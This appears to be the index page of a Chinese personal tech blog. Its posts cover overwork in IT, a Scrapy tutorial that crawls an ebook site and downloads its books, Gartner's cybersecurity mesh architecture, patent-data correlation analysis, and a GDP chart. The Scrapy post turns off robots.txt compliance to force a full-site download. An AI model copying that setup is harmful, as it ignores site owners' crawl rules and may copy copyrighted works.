XieJava's blog

记录最好的自己


  • 首页

  • 分类

  • 标签

  • 归档

  • 关于

连续加班几个月,放假还要带电脑,我在思考工作的意义

发表于 2023-09-30 | 更新于: 2025-07-21 | 分类于 人生 | | 阅读次数:
字数统计: 1.5k | 阅读时长 ≈ 4

对于了解IT这个行业的人来说,这个行业的内卷程度超乎了大家的想像,工作真的很累,加班已经成为整个行业的标签。不管是去哪里笔记本电脑都得随身带,就像随时待命的特种兵,接到命令随时马上要展开战斗。有的时候在系统出事或者需求比较紧急的时候,无论哪里都会成为工作场所,可能旅游景点、可能是商场、可能是高铁地铁上、也有可能是路边……

在线系统出bug了他们就是救火员!想必很多人都经历过系统上线后匆忙处理bug,这种时候,就不分周末还是工作日了,更不管白天还是黑夜干就对了!有网友分享了这“经典”的一幕,一天晚上9点多,北京地铁某号线上,这位网友刚下站就看见一个小伙子蹲坐在一个隐蔽的角落,旁边地上放着双肩包,屏幕亮着,小伙正在专心地敲代码。

程序员路边敲代码改bug

作为IT从业者深刻感受到行业之卷,而对于运营商中搞网络安全的从业人员来说那更是“卷王之王”。各种实战演练活动、各种重保活动、安全运营监控值守、各种突发事件应急处置等。连续加班了好几个月,到了国庆假期还得要带上笔记本电脑,生怕有电话进来,基本上没有什么生活质量可言。这段时间,每天早上起床的第一件事就是问自己“这就是我想要的生活吗?”,为此我在思考和寻找工作的意义。

人的本性是趋利避害的,工作这事,本身是违背人本性的——无论什么工作,只要是投入劳力与时间换取物质资料,但在这个时代,工作又是人类最高效的自我满足手段——物质和精神,都是如此。

在《商业模式新生代-个人篇》介绍了工作的四种意义:

  • 工作是谋生手段
    它意味着为了收入而工作,不涉及多少个人因素或满足感。工作即一种实用性活动,就是说完成某事的主要目的是为了得到另一件事。当然作为谋生手段的工作也能产生宝贵的技能和满足感,但其主要目的还是为工作者提供生存基础以追求生活中其他方面的意识。

  • 工作是发展方向
    将工作视为职业,这种观点的前提是工作者的动力源自对成功、成就和身份地位的渴望。此类工作者对工作的态度并不是热情眷恋,而是强调努力工作对自我的回馈,对职业型工作者来说,工作是一种创造、定义、表达、证明和美化自我的方式。将工作视为发展方向是实现人生意义和获得满足感的一个重要来源。

  • 工作是使命召唤
    “天职”这个词源自“天将降大任于斯人也”这一理念。这种“天意”可以是外在动力,如上帝的旨意或社区的需要;也可以是内在动力,如需要向世人展现的天赋使命。这种工作强调的是“个人的义务、责任或使命”。在那个激情燃烧的时代,为社会主义事业奋斗终生是我们的使命召唤;在百年未有之大变局的新时代,突破高科技技术封锁,实现中华民族的伟大复兴是我们的使命召唤。

  • 工作是自我实现
    它一方面体现了工作高度强调兴趣驱动的特征,另一方面淡化了咄咄逼人的“天命”特征。追求自我实现的工作者会选择不同寻常的职业道路,这些选择强调的是个人兴趣而非经济回报或名声威望。这种思考方式也是获得人生意义的一个重要来源。视工作为“自我实现”的人相对来说工作生活更为平衡,他们可以在工作中实现更多的人生意义,同时也不会牺牲家庭欢乐和其他方面的兴趣。

工作对不同的人来说具有不同的意义,工作的意义在很大程度上决定着“我是谁”这个命题的答案。

  • 工作只是生活的手段,享受生活才是目的
    工作是为了更好的生活,它的本质是交换,我们付出时间、经验,换取一部分我们想要的生活自由。我们已经很幸运,大部分的人都能有一份安稳的工作作为谋生手段。不要在谋生的地方找意义,生活才是实现意义的地方。

  • 工作之外的你,才是真正不可替代的
    我们这一生扮演的很多角色都是不可替代的,贴心的朋友、孝顺的子女、操心的家长。唯独工作是可以被替代的,如果你不干这些工作,依然有会有人干。与其把时间都投入到工作中内卷、焦虑、失眠,不如多花时间陪伴家人和朋友。 下班后该玩儿就玩儿,就陪家人就陪家人,把精力分散,而不是用下班时间去焦虑工作,还把这种内耗带到家里。你去运动、去做饭、去旅游、去亲近自然、去看一看花开日落、去体会一下风土人情。


博客地址:http://xiejava.ishareread.com/


“fullbug”微信公众号

关注微信公众号,一起学习、成长!

Scrapy爬虫框架实战

发表于 2023-09-12 | 更新于: 2025-07-21 | 分类于 技术 , 开发 | | 阅读次数:
字数统计: 1.8k | 阅读时长 ≈ 7

Python实现爬虫是很容易的,一般来说就是获取目标网站的页面,对目标页面的分析、解析、识别,提取有用的信息,然后该入库的入库,该下载的下载。以前写过一篇文章《Python爬虫获取电子书资源实战》,以一个电子书的网站为例来实现python爬虫获取电子书资源。爬取整站的电子书资源,按目录保存到本地,并形成索引文件方便查找。这次介绍通过Scrapy爬虫框架来实现同样的功能。

一、Scrapy简介

Scrapy 是用 Python 实现的一个为了爬取网站数据、提取结构性数据而编写的应用框架。
Scrapy 常应用在包括数据挖掘,信息处理或存储历史数据等一系列的程序中。
通常我们可以很简单的通过 Scrapy 框架实现一个爬虫,抓取指定网站的内容或图片。

Scrapy爬虫框架

  • Scrapy Engine(引擎):负责Spider、ItemPipeline、Downloader、Scheduler中间的通讯,信号、数据传递等。
  • Scheduler(调度器):它负责接受引擎发送过来的Request请求,并按照一定的方式进行整理排列,入队,当引擎需要时,交还给引擎。
  • Downloader(下载器):负责下载Scrapy Engine(引擎)发送的所有Requests请求,并将其获取到的Responses交还给Scrapy Engine(引擎),由引擎交给Spider来处理,
  • Spider(爬虫):它负责处理所有Responses,从中分析提取数据,获取Item字段需要的数据,并将需要跟进的URL提交给引擎,再次进入Scheduler(调度器).
  • Item Pipeline(管道):它负责处理Spider中获取到的Item,并进行进行后期处理(详细分析、过滤、存储等)的地方。
  • Downloader Middlewares(下载中间件):可以当作是一个可以自定义扩展下载功能的组件。
  • Spider Middlewares(Spider中间件):可以理解为是一个可以自定扩展和操作引擎和Spider中间通信的功能组件(比如进入Spider的Responses;和从Spider出去的Requests)

二、Scrapy实战

虽然用python写一个爬虫也不是很费事,但是有了Scrapy以后让你实现爬虫更简单,更加通用,现在我们还是以《Python爬虫获取电子书资源实战》中的例子,爬取目标网站kgbook.com。也可以对比看一下通过Scrapy爬虫框架实现相同的功能有多么的方便。

1、Scrapy安装

首先通过 pip 安装 Scrapy 框架

1
pip install Scrapy

2、创建Scrapy项目工程

创建getbooks的项目

1
scrapy startproject getbooks

创建一个getkgbook的爬虫,目标网站kgbook.com

1
scrapy genspider getkgbook kgbook.com

项目的结构如下图所示

Scrapy项目目录结构

3、实现Scrapy的爬虫代码

爬数据

主要的爬虫逻辑实现代码都在getkgbook.py中,在这里实现目录的爬取、翻页、进入到详情页,并解析详情页的数据。
getkgbook.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import os
import re
import scrapy
from getbooks.items import KgbookItem


class GetkgbookSpider(scrapy.Spider):
name = "getkgbook" #爬虫的名称
allowed_domains = ["kgbook.com"] #爬取的网站
start_urls = ["https://kgbook.com"] #爬取的首页

def parse(self, response):
categorys = response.xpath('//div[@id="category"]/div/ul/li/a')
for category in categorys:
category_url = category.xpath('./@href').extract_first()
url=response.urljoin(category_url)
#爬取进入到目录页
yield response.follow(url, self.parse_booklist)

#解析目录页
def parse_booklist(self,response):
book_list_select=response.css('.channel-item h3.list-title a')
#获取书籍列表
for book_info_select in book_list_select:
book_name=book_info_select.css('::text').extract_first()
book_detail_url=book_info_select.css('::attr(href)').extract_first()
book_detail_url=response.urljoin(book_detail_url)
print(book_name,book_detail_url)
yield scrapy.Request(url=book_detail_url, callback=self.pase_bookdetail)
#翻页
nextpage_url = response.xpath('//div[@class="pagenavi"]/a[contains(text(), "下一页")]/@href').extract_first()
if nextpage_url:
yield response.follow(nextpage_url, self.parse_booklist)

#解析详情页
def pase_bookdetail(self,response):
navegate=response.xpath('//nav[@id="location"]/a')
if len(navegate)>1:
book_category=navegate[1].xpath('./text()').extract_first()
book_name=response.css('.news_title::text').extract_first()
book_author=response.xpath('//div[@id="news_details"]/ul/li[contains(text(),"作者")]/text()').extract_first()
pattern=re.compile('mobi|epub|azw3|pdf',re.I) #解析书籍的类型
book_download_urls=response.xpath('//div[@id="introduction"]/a[@class="button"]')
for book_download_urlinfo in book_download_urls:
book_type=book_download_urlinfo.re(pattern)
if book_type:
book_download_url=book_download_urlinfo.xpath('./@href').extract_first()
#获取要下载的书籍的名称、作者、要保存的路径、下载地址
item=KgbookItem()
item['book_name']=book_name
item['book_author']=book_author
item['book_file']=os.path.join(book_category,book_name+"."+str(book_type[0]).lower())
item['book_url']=book_download_url
print(book_name,book_author,book_download_url,item['book_file'])
return item

在这里我们通过xpath解析器和css解析器来解析获取网页中的有用的信息。如提取a 标签的href的信息 ,提取书籍的名称、作者、下载链接等信息。

保存数据

item.py
在item.py中定义了KgbookItem类,Item 定义结构化数据字段,用来保存爬取到的数据,有点像 Python 中的 dict,但是提供了一些额外的保护减少错误。在这里定义了book_name、book_author、book_file、book_url这些信息都会通过爬虫提取后保存用来输出到文件或数据库等。

1
2
3
4
5
6
7
import scrapy

class KgbookItem(scrapy.Item):
book_name=scrapy.Field()
book_author=scrapy.Field()
book_file=scrapy.Field()
book_url=scrapy.Field()

下载数据

通过pipelines定义文件下载的管道类
pipelines.py

1
2
3
4
5
6
7
8
9
10
11
from scrapy import item, Request
from scrapy.pipelines.files import FilesPipeline

class KgBookFilePipeline(FilesPipeline):

def get_media_requests(self,item,info):
yield Request(item['book_url'],meta={'book_file':item['book_file']})

def file_path(self, request, response=None, info=None):
file_name=request.meta.get('book_file')
return file_name

这里实际上只做两件事,一是get_media_requests下载文件,二是组织文件要保存的路径。会通过相应的下载中间件将文件下载并保存在需要保存的目录。这里我们规划的保存目录是书籍目录\书名.类型。
还需要在settings.py中定义下载后保存的路径

1
2
3
4
5
6
# 保存书籍的路径
FILES_STORE='./books'
# 定义自定义下载的管道
ITEM_PIPELINES = {
"getbooks.pipelines.KgBookFilePipeline": 300,
}

加入以下定义,强制爬取、下载,并忽略301,302重定向

1
2
3
4
5
6
# Obey robots.txt rules
ROBOTSTXT_OBEY = False

MEDIA_ALLOW_REDIRECTS = True

HTTPERROR_ALLOWED_CODES = [301,302]

至此,就通过Scrapy爬虫框架实现了一个爬虫。
运行效果
执行 scrapy crawl getkgbook -o books.json
可以看到控制台打印出来的日志,爬虫开始默默的勤勤恳恳的爬取了。
爬取日志

爬取的结果保存到了books.json中
books.json

要下载的书籍也保存到了books下相应的目录下了
保存的文件

三、注意事项

有可能在文件下载的时候并没有把文件下载下来,原因是文件下载路径有重定向。

1
2
3
4
2023-09-12 22:25:38 [scrapy.core.engine] DEBUG: Crawled (301) <GET https://kgbook.com/e/DownSys/GetDown?classid=24&id=471&pathid=0> (referer: None)
2023-09-12 22:25:38 [scrapy.pipelines.files] WARNING: File (code: 301): Error downloading file from <GET https://kgbook.com/e/DownSys/GetDown?classid=24&id=471&pathid=0> referred in <None>
2023-09-12 22:25:38 [scrapy.core.engine] DEBUG: Crawled (301) <GET https://kgbook.com/e/DownSys/GetDown?classid=24&id=4742&pathid=0> (referer: None)
2023-09-12 22:25:38 [scrapy.pipelines.files] WARNING: File (code: 301): Error downloading file from <GET https://kgbook.com/e/DownSys/GetDown?classid=24&id=4742&pathid=0> referred in <None>

需要在settings.py中加入

1
2
3
MEDIA_ALLOW_REDIRECTS = True  #直接下载

HTTPERROR_ALLOWED_CODES = [301,302] #忽略重定向的报错信息

现在我们通过一个Scrapy爬虫框架实例实现了网站的爬取,重代码量上看比python直接写少了很多,通用性也更强了。通过管道不仅仅可以将数据保持至json还可以保存到Excel、数据库等。

全部源代码见 https://github.com/xiejava1018/Scrapybooks


博客地址:http://xiejava.ishareread.com/


“fullbug”微信公众号

关注微信公众号,一起学习、成长!

网络安全之认识网络安全网格架构(CSMA)

发表于 2023-09-11 | 更新于: 2025-07-21 | 分类于 技术 , 网络安全 | | 阅读次数:
字数统计: 4k | 阅读时长 ≈ 13

“网络安全网格(CyberSecurity Mesh)”是 Gartner 提出的网络安全技术发展新趋势,近两年连续入选其年度重要战略技术趋势研究报告,成为当前网络安全领域流行的热词,受到网络安全从业者的高度关注。

一、概念产生的背景

如今,由于现在平均每个企业在自己的网络上部署了多达45个安全解决方案,使得任何形式的集中管理都几乎无法实现。更糟糕的是,检测和响应网络事件需要在其中的19个工具之间进行协调,导致每次设备升级时都需要不断管理和重新配置。
CSMA概念背景

仅仅依靠连接不同安全技术的变通方法是不够的,企业需要一个全面覆盖、深度集成和动态协同的“网络安全网格平台”,提供集中管理和可见性,支持在一个庞大的解决方案生态系统中协同运行,自动适应网络中的动态变化。

因此有了网络安全网格这个概念。

Gartner 发布的《2021 年重要战略技术趋势》(Top Strategic Technology Trends for 2021)中描述了网络安全网格的概念:“网络安全网格是一种分布式架构方法,能够实现可扩展、灵活和可靠的网络安全控制。现在许多资产存在于传统安全边界之外,网络安全网格本质上允许围绕人或事物的身份定义安全边界。通过集中策略编排和分布策略执行来实现更加模块化、更加快速响应的安全防护。”

在 Gartner 发布的《2022 年重要战略技术趋势 》(Top Strategic Technology Trends for 2022)中对网络安全网格概念有了进一步的说明:“数字业务资产分布在云和数据中心,基于边界的传统、分散的安全方法使组织容易遭受攻击。网络安全网格架构提供一种基于身份的可组合安全方法,以创建可扩展和可互操作的服务。通用的集成结构可以保护任务组织的任何资产,对于使用这样的一体化安全工具的组织来说,可将单项安全事件的财务影响平均减少 90%。”

从上述 Gartner 报告的描述中可以看出,网络安全网格是一种安全架构方法或者策略,而不是一种定义明确的架构或标准化的技术方法,更不是某种产品,其目的是找到能够应对不断发展的业务系统以及网络环境演变所带来的安全挑战的新方法,提供比传统物理边界防护更强大、更灵活和可扩展的安全能力。通过连接、集成和协同管理各种网络安全控制系统、服务和数据来提供综合安全保护的框架。它致力于构建一个灵活、弹性和动态的安全环境,以适应日益复杂和多样化的网络安全威胁。

二、架构与实现

Gartner 提出了网络安全网格的具体实现框架,即网络安全网格架构(CyberSecurity Mesh Architecture,CSMA)。这是一种分布式安全服务的协作框架,提供安全分析与情报、统一策略管理、整合操控界面和分布式身份结构等 4个安全基础设施使不同的安全工具能够基于该基础设施协同工作并实现统一的配置和管理,提高安全工具的可组合性、可扩展性和互操作性,解决多种安全工具在各个孤立体系中运行时所带来的问题,实现各种安全能力的有机聚合,适应业务发展需要并达到“力量倍增”的效果。

CSMA架构图
网络安全网格架构的组成如上图图所示,4 个基础支撑层之间以及与其他安全系统之间的关系如下:

  1. 安全分析与情报层。可与来自第三方的安全工具开展联合协同检测,基于丰富的威胁分析手段,结合威胁情报,利用机器学习等技术形成更加准确一致的威胁分析结果。
  2. 统一策略管理层。主要包括安全策略编排和安全态势管理,将集中的策略转换为各个安全工具的本地配置策略,实现分布式执行,并支持动态策略管理服务。
  3. 整合操控界面层。实现安全数据可视化,提供安全系统复合视图,主要包括统一的控制面板、告警、审查、指导手册和报告等,使安全团队能够更快速、更有效地响应安全事件。
  4. 身份架构层。主要提供目录服务、自适应访问以及去中心化的身份管理、身份验证和授权管理等功能,支撑构建适合用户需求的零信任网络架构。

网络安全网格是在物理网络之上构建的逻辑层,网络安全架构的应用视图如下图所示,直观展示了在逻辑层中通过对各种安全能力的编排、执行,使得各种安全工具基于 4 个安全基础层实现互操作,提供统一的安全管控和可见性,而不是在孤岛中运行每个安全工具,从而构建一个能在庞大的安全生态中协同运行,且自动适应网络环境演化的安全平台。
CSMA应用视图

三、主要特点

网络安全网格主要涉及设计和建设 IT 安全基础设施,采用“水平”分布式方式将各种安全能力集成到网络中,而不是采用传统的“自上而下”、各种安全设备“一应俱全”的集成方式,致力于构建一个能在庞大的安全生态系统中协同运行,且自动适应网络环境演化的全面覆盖、统一管控、动态协同和快速响应的安全平台。

  • 通用集成框架。网络安全网格提供一种通用的集成框架和方法,实现类似“乐高”化思维的灵活、可组合、可扩展的安全架构。通过标准化工具支持可互操作的各种安全服务编排和协同,从而实现广泛分布的不同安全服务的高效集成,建立起合作的安全生态系统来保护处于本地、数据中心和云中的数字资产,并基于数据分析、情报支持和策略管理等能力的聚合形成更加强大的整体安全防御和响应处置能力。

  • 分布式网络架构。网络安全网格利用了“网格”的去中心化、对等协作、结构灵活、连接可靠、扩展性强等优势,不再侧重于围绕所有设备或节点构建“单一”边界,而是围绕每个接入点创建更小的、单独的边界 [5-6]。通过建立与接入点同样多的安全边界,保证物理位置广泛分布的用户能随时随地安全接入,符合零信任网络中的“微分段”要求,使得网络犯罪分子和黑客更难利用整个网络。同时,网络中主客体之间在逻辑上都是点对点直连关系,无须关注具体的物理网络部署,能够简化安全配置且能自动适应网络动态变化。

  • 集中管理与分散执行。与传统的网关集中访问控制不同,网络安全网格采用了集中的策略编排和权限管理,基于策略分布式的执行,将网络安全控制能力分布到网络的更多地方,使安全措施更接近需要保护的资产,一方面,有利于消除安全管控盲点,缓解传统集中安全控制存在的性能处理瓶颈,适应用户终端和组织业务分散化发展需要;另一方面,有利于实现全局的安全威胁分析,形成更加一致的安全态势,从而实现更加精准的安全管控和更加快速的响应处置。

  • 围绕身份定义安全边界。在当前网络协议中,因缺失身份要素带来了很多安全问题,物理 IP 地址与人和终端的关联性越来越弱,导致基于地址、流量、日志的安全检测和威胁分析技术难以实现针对人的威胁研判;基于网络协议字段特征检测的传统边界访问控制技术,同样使得基于身份的授权访问成为天方夜谭。由于网络威胁本质上是人带来的威胁,因此难以实现精准高效的安全威胁处置。网络安全网格延续了零信任网络的思想,用身份定义网络边界,让身份成为威胁研判与安全管控的基础。

四、应用场景

网络安全网格的应用场景包括:

  1. 云安全:网络安全网格可用于跨多个云环境提供综合的安全管理和保护,确保云服务的安全性和合规性。
  2. 边缘安全:网络安全网格可以应用于边缘计算环境,以提供安全的边缘设备管理、数据保护和边缘网络保护。
  3. 供应链安全:通过网络安全网格,可以实现供应链中各个环节的安全协同,共享安全信息,降低供应链中的安全风险。
  4. 物联网安全:网络安全网格可以为物联网设备和系统提供统一的安全管理和保护,保障物联网环境的安全性和可信度。

五、价值和优势

网络安全网格的主要价值包括:

  1. 综合安全保护:网络安全网格可以集成多个安全控制系统和服务,提供全面的安全保护,从网络边界到终端设备,覆盖各个层面和环节的安全需求。
  2. 动态适应能力:网络安全网格具备弹性和动态适应的特性,能够快速识别和响应新的威胁,并自动调整安全策略和控制措施以提供即时和有效的保护。
  3. 协同合作:网络安全网格促进了不同安全系统和服务之间的协同合作和信息共享。通过共享威胁情报和安全事件信息,提高整体的安全防御能力,并加强各方之间的合作与配合。
  4. 可扩展性和灵活性:网络安全网格具备高度的可扩展性,可以根据实际需求快速部署和调整安全控制系统,适用于各种规模和复杂度的网络环境。

网络安全网格与传统网络安全方法在以下几个方面存在区别:

  1. 集成性:传统网络安全方法通常是独立而孤立的解决方案,每个安全设备或系统都有自己的管理界面和策略。而网络安全网格强调集成不同的安全控制系统和服务,通过连接和协同工作来提供综合的安全保护,实现整体的安全扩展性和一致性。
  2. 动态适应性:传统网络安全方法通常是静态的,在部署后很少变动,而网络安全网格具备弹性和动态适应的特性。它可以根据实际需求自动调整安全策略和控制措施,灵活应对不断变化的威胁环境。
  3. 协同合作:传统网络安全方法主要依赖于各个安全设备或系统的独立工作,缺乏跨系统的协同合作。而网络安全网格通过实现安全控制系统和服务之间的协同和信息共享,提高整体的安全防御能力,并加强各方之间的合作与配合。
  4. 统一视图和管理:传统网络安全方法通常需要使用多个不同的管理界面来管理各个安全设备或系统,使得安全管理变得复杂而繁琐。而网络安全网格提供统一的视图和管理平台,使得管理员可以更便捷地管理和监控整个安全环境,提高管理效率和反应速度。
  5. 灵活性和可扩展性:传统网络安全方法在部署和扩展时通常需要考虑设备间的兼容性和差异性。而网络安全网格具备高度的灵活性和可扩展性,可以根据实际需求灵活部署和调整安全控制系统,适用于各种规模和复杂度的网络环境。

网络安全网格架构的优势主要体现以下几个方面:

  1. 实现更加可靠的安全防御。网络安全网格摒弃了传统的边界防护思想,不仅是围绕网络数据中心、服务中心构建“边界”,还围绕每个接入点创建更小的、独立的边界,并由集中的控制中心进行统一管理,从而将安全控制扩展到广泛分布的资产,在提高威胁应对能力的同时,增强了安全系统的可扩展性、灵活性和弹性。
  2. 应对复杂环境下的安全需求。通过网络安全策略集中编排但分散执行的方法,在统一的安全策略控制下,提供一种灵活且易于扩展的安全基础架构,可为混合云和多云等复杂环境中的资产保护提供所需的安全能力。
  3. 实现更加高效的威胁处置。通过安全工具集成,加强了安全数据采集和预测分析之间的协作,可以更加快速、准确地获取安全态势,及时发现并应对安全威胁,可大幅度增强对违规和攻击事件的响应处置能力。
  4. 构建更加开放的安全架构。提供了一种可编排的通用集成框架和方法,支持各类安全服务之间的协同工作,用户可自主选择当前和新兴的安全技术与标准,面向云原生和应用程序接口(Application Programming Interface,API) 插 件的环境更加易于集成,便于定制与扩展,能有效弥补不同供应商安全方案之间的能力差距。
  5. 降低建设维护的成本与难度。用户可以有效减少管理一组庞大的孤立安全解决方案的开销,同时,安全能力部署和维护所需的时间更少、成本更低,易于与用户已建设的身份识别与访问管理(Identity and Access Management,IAM)、安全信息和事件管理(Security Information and Event Management,SIEM)、 安 全运营中心(Security Operations Center,SOC)、态势感知等安全系统共存,也方便对接已建设的专线、软件定义广域网(Software-Defined Wide Area Network,SD-WAN)等网络服务。

博客地址:http://xiejava.ishareread.com/


“fullbug”微信公众号

关注微信公众号,一起学习、成长!

Python进行数据相关性分析实战

发表于 2023-08-31 | 更新于: 2025-07-21 | 分类于 技术 , 开发 | | 阅读次数:
字数统计: 1.5k | 阅读时长 ≈ 6

平时在做数据分析的时候,会要对特征进行相关性分析,分析某些特征之间是否存在相关性。本文将通过一个实例来对数据进行相关性分析与展示。

一、数据集介绍

本次分析的是企业合作研发模式效果分析,企业的合作研发大致分为 企企合作、企学合作、企研合作、企学研合作,也就是企业与企业合作研发、企业与大学合作研发、企业与研究所合作研法、企业联合学校、研究所共同合作研发。现在就是想通过数据分析来看看那种合作研发模式的效果最好,产出最佳。

数据集是从公开网站获取的公开的专利信息,包括专利的公告日期、专利评分、专利估值,这些指标说明了专利的价值。
专利数据集

二、数据整理和探索

有了数据后先对数据进行整理,在这里我们用II表示企企合作、IU表示企学合作、IR表示企研合作、IUR表示企学研合作。
先导入python数据分析三大件numpy、pandas、matplotlib

1
2
3
4
5
import numpy as np
import pandas as pd
import matplotlib.pyplot as plt
plt.rcParams["font.sans-serif"]=["SimHei"] #设置字体
plt.rcParams["axes.unicode_minus"]=False #该语句解决图像中的“-”负号的乱码问题

对数据进行整理,将“有效”的数据检索出来,将合作研发的模式标识出来

1
2
3
4
5
6
7
8
9
10
11
II_data_original=pd.read_excel(r'./data/绿色低碳专利企企合作申报总数据_21578_2023-03-11.xlsx') #企企合作
IU_data_original=pd.read_excel(r'./data/绿色低碳专利企学合作申报总数据_6451_2023-03-11.xlsx') #企学合作
IR_data_original=pd.read_excel(r'./data/绿色低碳专利企研合作申报总数据_1706_2023-03-11.xlsx') #企研合作
IUR_data_original=pd.read_excel(r'./data/绿色低碳专利企学研合作申报总数据_241_2023-03-11.xlsx') #企学研合作
II_data_original['class_type']='II'
IU_data_original['class_type']='IU'
IR_data_original['class_type']='IR'
IUR_data_original['class_type']='IUR'
data_original=II_data_original.append([IU_data_original,IR_data_original,IUR_data_original])
data_original=data_original[(data_original.法律有效性=='有效')]
data_original

合作研发的模式标识
对日期进行处理,我们以年度为单位来分析每年各企业合作研发模式的数据,所以将日期处理成“年”为单位。

1
2
3
4
#处理日期
data_original['date']=pd.to_datetime(data_original['公开(公告)日'],format="%Y%m%d")
data_original['year']=data_original['date'].dt.strftime('%Y')
data_original

年份标签

我们只需要分析相应的专利质量的指标,这里与专利质量相关的指标大致为引文数量、专利估值、专利评分。然后以年度为单位来看看数据。

1
2
3
4
5
6
7
8
9
10
11
data_group=data_original.groupby(['year','class_type']).size()
df_data_group=data_group.unstack()
data_group_count=data_original.groupby(['year']).size()
data_group_quotecount=data_original[['year','引文数量总计']].groupby(['year']).sum() #引文数量
data_group_value=data_original[['year','专利估值']].groupby(['year']).mean() #专利估值
data_group_grade=data_original[['year','专利评分']].groupby(['year']).mean() #专利评分grade
df_data_group['count']=data_group_count
df_data_group['quotecount']=data_group_quotecount
df_data_group['value']=data_group_value
df_data_group['grade']=data_group_grade
df_data_group

合作研发数据

历年(2004-2022年)专利的合作模式的专利数量增长趋势

1
df_data_group.plot.bar(y=['II','IR','IU','IUR'],figsize=(32,4),stacked=True)

合作模式的专利数量增长趋势

历年(2015-2022年)的合作模式的专利数量对比情况

1
df_data_group['2015':'2022'].plot.bar(y=['II', 'IR', 'IU', 'IUR'], figsize=(32, 4))

合作模式的专利数量对比情况

从数据上可以看出,从2004年-2021年前些年,企业的研发模式是比较单一的,2004-2008年大部分都是企企合作的研发模式,其他研发模式先对比较少。从2004年-2021年,随着我国企业对研发的投入力度也来越大,专利的数量是逐年递增的,研发模式也逐步的多样化起来,但还是以企企合作和企学合作为主。

三、数据相关性分析与展示

因为从数据上看,从2015年以后各种研发模式逐步的多样化起来,所以我们来看一下2015年以后研发模式与研发质量各项指标的相关性。
通过numpyde的corrcoef()方法可以很方便的计算出各个特征之间的相关性系数,得出相关性矩阵。

1
2
ruslut=np.corrcoef(df_data_group['2015':'2022'],rowvar=False)
ruslut

相关性矩阵

看数据肯定没有看图形直观,所以我们将这个相关性矩阵进行可视化的展示。这里用seaborn来做数据的图形化展示。

1
2
3
4
import seaborn as sns
figure, ax = plt.subplots(figsize=(12, 12))
df=df_data_group['2015':'2022']
sns.heatmap(df.corr(), square=True, annot=True, ax=ax)

相关性矩阵图形化展示

这里可以看出企企合作和企学合作的数量相关性比较高,而企研合作value和grade具有相关性,说明企研合作模式的研发质量相对来说比较好。

最后,我们来看一下专利TOP20的单位研发类型分布、估值TOP20的专利的研发类型分布、评分TOP20的专利、研发类型的分布。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
data_countbyComp=data_original[['第一申请人-原文','class_type']].groupby(['第一申请人-原文']).size()
df_data_countbyComp=pd.DataFrame(data_countbyComp,columns=['counts'])
df_data_countbyCompTOP=df_data_countbyComp.sort_values('counts',ascending=False)[0:10]
count_top=data_original[(data_original['第一申请人-原文'].isin(df_data_countbyCompTOP.index.values))]
value_top=data_original.sort_values('专利估值',ascending=False)[0:10]
grade_top=data_original.sort_values('专利评分',ascending=False)[0:10]
count_top_show=count_top.groupby(['class_type']).size()
value_top_show=value_top.groupby(['class_type']).size()
grade_top_show=grade_top.groupby(['class_type']).size()
grade_top_show.index.values
fig, axs = plt.subplots(1, 3,figsize=(18, 18))
axs[0].pie(count_top_show,labels=count_top_show.index.values,autopct='%.2f%%',explode=(0.05,0, 0, 0))
axs[0].set(title='数量TOP20的单位,研发类型分布')
axs[1].pie(value_top_show,labels=value_top_show.index.values,autopct='%.2f%%',explode=(0, 0, 0.05))
axs[1].set(title='估值TOP20的专利,研发类型分布')
axs[2].pie(grade_top_show,labels=grade_top_show.index.values,autopct='%.2f%%',explode=(0.05, 0, 0))
axs[2].set(title='评分TOP20的专利,研发类型分布')

分布图

这里可以看出数量上还是以企企合作研发的模式最多,但是从专利的估值评分来看企学的专利估值占比最高。说明从 企企合作、企学合作、企研合作、企学研合作的这些企业合作研发模式看,企企合作研发数量最多,企学合作研发的质量相对较高。

至此,本文通过一个实例介绍了用python通过数据分析三件套numpy、pandas、matplotlib进行数据相关性分析的过程。


作者博客:http://xiejava.ishareread.com/


“fullbug”微信公众号

关注微信公众号,一起学习、成长!

Python通过matplotlib动态绘图实现中美GDP历年对比趋势动图

发表于 2023-08-27 | 更新于: 2025-07-21 | 分类于 技术 , 开发 | | 阅读次数:
字数统计: 1.9k | 阅读时长 ≈ 8

随着中国的各种实力的提高,经常在各种媒体上看到中国与各个国家历年的各种指标数据的对比,为了更清楚的展示历年的发展趋势,有的还做成了动图,看到中国各种指标数据的近年的不断逆袭,心中的自豪感油然而生。今天通过Python来实现matplotlib的动态绘图,将中美两国近年的GDP做个对比,展示中国GPD对美国的追赶态势,相信不久的将来中国的GDP数据将稳超美国。

效果如下:
中美GDP历年对比趋势动图

实现上面的动态绘图效果,综合用到了pandas的数据采集、数据整理、matplotlib绘图、坐标轴及数据的动态定义、定时器等知识。最终通过Python的GUI库PySide进行展示形成一个GUI的可执行程序。

一、数据采集和准备

中美历年的GDP数据通过百度在网上一搜一大把。我是从https://www.kylc.com/stats/global/yearly_per_country/g_gdp/chn-usa.html 找到的数据。将数据整理成EXCEL保存至data\中国VS美国.xlsx。
中国VS美国GDP数据集

有从1966年至2022年的中美GDP的数据。
首先对这些数据进行整理,因为获取的GDP数据是字符串类型如17.96万亿 (17,963,170,521,079),我们需要将GDP的数据从文本中提取出来,也就是取括号中的数据。
这里通过正则表达式将括号中的GDP数据提取出来,并转换为亿元为单位。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import re
import pandas as pd
import locale
import matplotlib.pyplot as plt

pattern = re.compile('\((\S*)\)')

def getgdpvalue(gdpstr):
re_obj=pattern.search(gdpstr)
gdp_value=locale.atof(re_obj.group(1))/100000000
return gdp_value

df_data = pd.read_excel('data\中国VS美国.xlsx')
df_data = df_data.loc[1:len(df_data)]
df_data['china_gdp_value'] = df_data['中国'].map(getgdpvalue)
df_data['us_gdp_value'] = df_data['美国'].map(getgdpvalue)
df_data = df_data.sort_values('年份')

有了数据以后就可以通过数据绘图了。

二、matplotlib绘图

先通过matplotlib绘图看看数据的效果。

1
2
3
4
5
6
7
8
import matplotlib.pyplot as plt
plt.figure()
plt.plot(df_data['年份'],df_data['china_gdp_value'])
plt.plot(df_data['年份'],df_data['us_gdp_value'])
plt.title('中美GDP对比')
plt.xlabel('年份')
plt.ylim('GDP(亿)')
plt.show()

中美GDP对比趋势

可以看到中国的GDP数据在1960年至1990年都是比较平稳的,到了1990年后中国开始了爆发式的追赶模式。
